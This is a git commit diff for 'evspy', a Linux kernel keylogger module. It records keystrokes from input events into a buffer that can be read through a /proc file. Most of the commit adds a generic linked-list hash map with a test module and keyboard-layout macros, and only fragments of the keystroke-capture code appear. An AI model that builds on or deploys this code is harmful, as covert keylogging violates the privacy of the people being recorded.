aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorGuillermo Ramos2011-09-16 17:25:25 +0200
committerGuillermo Ramos2011-09-16 17:25:25 +0200
commit5f78bdac09842192ad1cae0f0e516e9020619ac7 (patch)
treecafa120ed1090f9794e37dfe93e7df36c57216ba
parent0daea8c7cce5108d36313e608d63e30eb6c34c9b (diff)
downloadevspy-5f78bdac09842192ad1cae0f0e516e9020619ac7.tar.gz
First functional version of khaskmap
-rw-r--r--Makefile3
-rw-r--r--evspy-core.c (renamed from evspy.c)21
-rw-r--r--evspy-core.h (renamed from evspy.h)1
-rw-r--r--khashmap/khashmap.c137
-rw-r--r--khashmap/khashmap.h20
-rw-r--r--khashmap/test_khashmap.c61
-rw-r--r--maps.h17
7 files changed, 247 insertions, 13 deletions
diff --git a/Makefile b/Makefile
index 7e403d9..dc851d1 100644
--- a/Makefile
+++ b/Makefile
@@ -1,4 +1,7 @@
obj-m += evspy.o
+evspy-objs := khashmap/khashmap.o evspy-core.o
+#obj-m += test.o
+#test-objs := khashmap.o test_khashmap.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
diff --git a/evspy.c b/evspy-core.c
index 4d6e763..0171b5b 100644
--- a/evspy.c
+++ b/evspy-core.c
@@ -1,9 +1,7 @@
/*
- * Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com>
- * based on evbug module by Vojtech Pavlik ((c) 1999-2001)
- */
-
-/*
+ * Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com>
+ * based on evbug module by Vojtech Pavlik ((c) 1999-2001)
+ *
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
@@ -31,7 +29,8 @@
#include <linux/string.h>
#include <linux/cred.h>
#include <linux/sched.h>
-#include "evspy.h"
+#include "evspy-core.h"
+#include "khashmap/khashmap.h"
static char *buffer; // circular buffer
@@ -47,7 +46,7 @@ static char sp_tag[] = "<+XXX>";
/*
* Executed when the procfs file is read (EVS_PROCNAME)
*/
-int evspy_read_proc(char *page, char **start, off_t offset, int count,
+static int evspy_read_proc(char *page, char **start, off_t offset, int count,
int *eof, void *data)
{
int n, toend;
@@ -124,8 +123,6 @@ static void special_char(unsigned int code, unsigned int value)
case KEY_LEFTSHIFT:
shift = !shift;
return;
-// strncpy(sp_tag+2, "SFT", 3);
-// break;
case KEY_LEFTALT:
strncpy(sp_tag+2, "ALT", 3);
break;
@@ -181,7 +178,6 @@ static void evspy_event(struct input_handle *handle, unsigned int type,
// If caps lock is pressed, handle it the same way as left shift
if (code == KEY_CAPSLOCK && value == EVS_VAL_PRESS) {
-// capslock_state = !capslock_state;
special_char(KEY_LEFTSHIFT, capslock_state);
return;
} else if (type != EV_KEY || unlikely(code >= sizeof(EVS_MAP))) {
@@ -257,9 +253,10 @@ static struct input_handler evspy_handler = {
static int __init evspy_init(void)
{
create_proc_read_entry(EVS_PROCNAME, 0, NULL, evspy_read_proc, NULL);
+
buffer = kmalloc(EVS_BUFSIZE, GFP_KERNEL);
- rdp = buffer;
- wrp = buffer;
+ rdp = wrp = buffer;
+
return !buffer || input_register_handler(&evspy_handler);
}
diff --git a/evspy.h b/evspy-core.h
index cfee360..2af9dfe 100644
--- a/evspy.h
+++ b/evspy-core.h
@@ -4,6 +4,7 @@
#define EVS_NAME "evspy" // driver name
#define EVS_MAP map_es // change this to your keyboard layout
+#define EVS_KLAY EVS_KLAY_ES // change default layout to spanish
#define EVS_TROLL 1 // clear this if you're a serious guy
#define EVS_BUFSIZE PAGE_SIZE // size of the circular buffer (4K)
#define EVS_PROCNAME "driver/" EVS_NAME // virtual file within /proc
diff --git a/khashmap/khashmap.c b/khashmap/khashmap.c
new file mode 100644
index 0000000..0a1360d
--- /dev/null
+++ b/khashmap/khashmap.c
@@ -0,0 +1,137 @@
+/*
+ * Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+ *
+ * Should you need to contact me, the author, you can mail your message to
+ * <0xwille@gmail.com>
+ */
+
+#include <linux/errno.h>
+#include <linux/list.h>
+#include <linux/slab.h>
+#include "khashmap.h"
+
+static inline struct khashmap *khm_search(struct khashmap *head, int value)
+{
+ struct list_head *list;
+ struct khashmap *node;
+
+ list_for_each(list, &head->l) {
+ node = list_entry(list, struct khashmap, l);
+ if (node->value == value)
+ return node;
+ }
+
+ return NULL;
+}
+
+void khm_display(struct khashmap *head)
+{
+ struct khashmap *node;
+ struct list_head *list;
+ int i = 0;
+ int limit = 10;
+
+ printk(KERN_ALERT "Displaying...");
+ list_for_each(list, &head->l) {
+ node = list_entry(list, struct khashmap, l);
+ printk(KERN_ALERT " N%d (%p) v=%d d=%s\n", i++, node,
+ node->value, (char*)node->data);
+ if (i >= limit)
+ break;
+ }
+}
+
+struct khashmap *khm_create(void)
+{
+ struct khashmap *head;
+
+ head = kmalloc(sizeof(struct khashmap), GFP_KERNEL);
+ if (!head)
+ return NULL;
+
+ INIT_LIST_HEAD(&head->l);
+ head->value = 0;
+ head->data = NULL;
+
+ return head;
+}
+
+void khm_destroy(struct khashmap *head)
+{
+ struct khashmap *node;
+ struct list_head *list = head->l.next;
+
+ while (list != &head->l) {
+ node = list_entry(list, struct khashmap, l);
+ list = list->next;
+ kfree(node);
+ }
+
+ kfree(head);
+}
+
+int khm_insert(struct khashmap *head, int value, void *data)
+{
+ struct khashmap *new;
+
+ // Key already exists
+ if (khm_search(head, value))
+ return -EINVAL;
+
+ new = khm_create();
+ if (!new)
+ return -ENOMEM;
+
+ new->value = value;
+ new->data = data;
+
+ INIT_LIST_HEAD(&new->l);
+ list_add_tail(&new->l, &head->l);
+
+ return 0;
+}
+
+int khm_delete(struct khashmap *head, int value)
+{
+ struct khashmap *node = khm_search(head, value);
+
+ if (node) {
+ list_del(&node->l);
+ kfree(node);
+ return 0;
+ } else {
+ return -EINVAL;
+ }
+}
+
+void *khm_get(struct khashmap *head, int value)
+{
+ struct khashmap *node = khm_search(head, value);
+
+ if (node)
+ return node->data;
+ else
+ return NULL;
+}
+
+void khm_set(struct khashmap *head, int value, void *data)
+{
+ struct khashmap *node = khm_search(head, value);
+
+ if (node)
+ node->data = data;
+}
diff --git a/khashmap/khashmap.h b/khashmap/khashmap.h
new file mode 100644
index 0000000..b5ee506
--- /dev/null
+++ b/khashmap/khashmap.h
@@ -0,0 +1,20 @@
+#include <linux/list.h>
+
+#ifndef HASHMAP
+#define HASHMAP
+
+struct khashmap {
+ struct list_head l;
+ int value;
+ void *data;
+};
+
+struct khashmap *khm_create(void);
+void khm_destroy(struct khashmap *head);
+int khm_insert(struct khashmap *head, int value, void *data);
+int khm_delete(struct khashmap *head, int value);
+void *khm_get(struct khashmap *head, int value);
+void khm_set(struct khashmap *head, int value, void *data);
+void khm_display(struct khashmap *head);
+
+#endif
diff --git a/khashmap/test_khashmap.c b/khashmap/test_khashmap.c
new file mode 100644
index 0000000..16a351f
--- /dev/null
+++ b/khashmap/test_khashmap.c
@@ -0,0 +1,61 @@
+#include <linux/module.h>
+#include <linux/init.h>
+#include "khashmap.h"
+
+#define Z_ASD 1
+#define Z_QWE 2
+#define Z_BLR 3
+
+static struct khashmap *hm;
+
+static int __init test_init(void)
+{
+ char *values;
+
+ hm = khm_create();
+
+ if (khm_insert(hm, Z_ASD, "ASDF"))
+ goto insert_err;
+ if (khm_insert(hm, Z_QWE, "QWERTY"))
+ goto insert_err;
+ if (khm_insert(hm, Z_BLR, "BLRBLRBLR"))
+ goto insert_err;
+
+ khm_display(hm);
+ khm_delete(hm, Z_QWE);
+ khm_display(hm);
+ khm_set(hm, Z_ASD, "ASDF NEW!!");
+ khm_display(hm);
+
+ if ((values = (char*)khm_get(hm, Z_ASD)))
+ printk(KERN_ALERT "Z_ASD: %s\n", values);
+ else
+ printk(KERN_ALERT "Z_ASD does not exist\n");
+ if ((values = (char*)khm_get(hm, Z_QWE)))
+ printk(KERN_ALERT "Z_QWE: %s\n", values);
+ else
+ printk(KERN_ALERT "Z_QWE does not exist\n");
+ if ((values = (char*)khm_get(hm, Z_BLR)))
+ printk(KERN_ALERT "Z_BLR: %s\n", values);
+ else
+ printk(KERN_ALERT "Z_BLR does not exist\n");
+
+ if (khm_insert(hm, Z_ASD, "MALO!!"))
+ goto insert_err;
+
+ return 0;
+
+insert_err:
+ printk(KERN_ALERT "Error inserting!\n");
+ return 0;
+}
+
+static void __exit test_exit(void)
+{
+ khm_destroy(hm);
+}
+
+module_init(test_init);
+module_exit(test_exit);
+
+MODULE_LICENSE("GPL");
diff --git a/maps.h b/maps.h
index 91531aa..8bac175 100644
--- a/maps.h
+++ b/maps.h
@@ -7,9 +7,21 @@
*
* By the moment, evspy does not support non-ascii characters.
*
- * Select your map with EVS_MAP macro in evspy.h
+ * Select your map with EVS_MAP macro in evspy-core.h
*/
+#ifndef __MAPS
+#define __MAPS
+
+#define EVS_KLAY_EN 0 // English standard layout
+#define EVS_KLAY_ES 1 // Spanish standard layout
+
+#ifndef EVS_KLAY
+#define EVS_KLAY EVS_KLAY_EN // In case it is not defined in evspy-core.h
+#endif // EVS_KEYBOARD
+
+#if EVS_KLAY == EVS_KLAY_ES
+
// Spanish
static char map_es[] = {
'.', '.', '1', '2', '3', //0 // 1:ESC
@@ -35,3 +47,6 @@ static char map_es[] = {
'.', '.', '.', '.', '.', //100 // 100:ALTGR 103:up_arrow
'.', '.', '.', '.', '.', //105 // 105:l_arrow 106:r_arrow 108:dwn_arrow
};
+
+#endif // EVS_KLAY == es
+#endif // __MAPS